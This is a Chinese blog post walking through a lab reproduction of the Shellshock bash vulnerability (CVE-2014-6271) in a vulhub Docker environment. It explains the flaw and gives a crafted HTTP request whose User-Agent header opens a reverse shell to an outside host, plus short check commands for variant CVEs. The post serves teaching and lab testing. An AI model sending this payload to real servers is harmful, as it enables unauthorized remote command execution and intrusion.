CVE-2014-6271

Linux Bash CVE-2014-6271漏洞复现

0. 环境搭建

  1. 安装docker:

    curl -s https://get.docker.com/ | sh
    
  2. 搭建vulhub,使用wget下载vulhub:

    wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
    

    解压:

    unzip vulhub-master.zip
    

    进入漏洞环境:

    cd /tools/range/bash/shellblock
    

    启动环境:

    docker-compose up -d
    

1. 漏洞原理

  1. 以() {开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。

  2. CGI脚本会继承系统的环境变量。CGI环境变量在CGI程序启动时初始化,在结束时销毁。当一个CGI脚本未被HTTP服务器调用时,它的环境变量几乎是系统环境变量的复制,当这个CGI脚本被HTTP服务器调用时,它的环境变量就会增加关于HTTP服务器,客户端,CGI传输过程等条目。当CGI脚本接收到一次HTTP请求,它的环境变量就会新增一些条目,比如User-agentConnection等信息

漏洞影响范围:bash版本<=4.3

2. 漏洞复现

  1. 访问靶场地址,虚拟机ip/victim.cgi,另外该目录下还存在一个safe.cgi,为最新bash下生成的cgi脚本。

  2. 访问,burp抓包:

    1. 修改数据包,命令执行:
    GET /victim.cgi HTTP/1.1
    Host: 192.168.163.128:8080
    User-Agent:() { :; }; /bin/bash -i >& /dev/tcp/192.168.1.1/1234 0>&1;
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    
    1. shell反弹成功:


总结

​该漏洞利用条件较多,1. bash版本小于等于4.3,2. 攻击者可以控制环境变量,3. 新的bash进程被打开触发漏洞并执行命令。简单点说,没有cgi脚本继承环境变量,就玩不了;有cgi脚本的,bash版本过高也玩不了。不过由于利用较为简单,且影响范围比较大,建议多多尝试。

​另外就是该漏洞的提权问题,在网上找了几篇文章看了一下,感觉还是msf做漏洞利用,上传系统信息收集文件,然后提权这一套比较靠谱。

​还有几个编号是该漏洞的变种,大佬们绕补丁提的CVE:CVE-2014-7169、CVE-2014-7186、CVE-2014-7187、CVE-2014-6278、CVE-2014-6277。

​ CVE-2014-7169

env X='() { (shellshocker.net)=>\' bash -c "echo date"; cat echo; rm ./echo

​ CVE-2014-7186

bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || 
echo "CVE-2014-7186 vulnerable, redir_stack"

​ CVE-2014-7187

(for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash ||
echo "CVE-2014-7187 vulnerable, word_lineno"

​ CVE-2014-6278

shellshocker='() { echo You are vulnerable; }' bash -c shellshocker

​ CVE-2014-6277

bash -c "f() { x() { _;}; x() { _;} <<a; }" 2>/dev/null || echo vulnerable

文章参考:

https://www.secpulse.com/archives/917.html

https://www.cnblogs.com/Cl0ud/p/14248937.html

posted @ 2021-11-01 16:47  七先生  阅读(879)  评论(0编辑  收藏  举报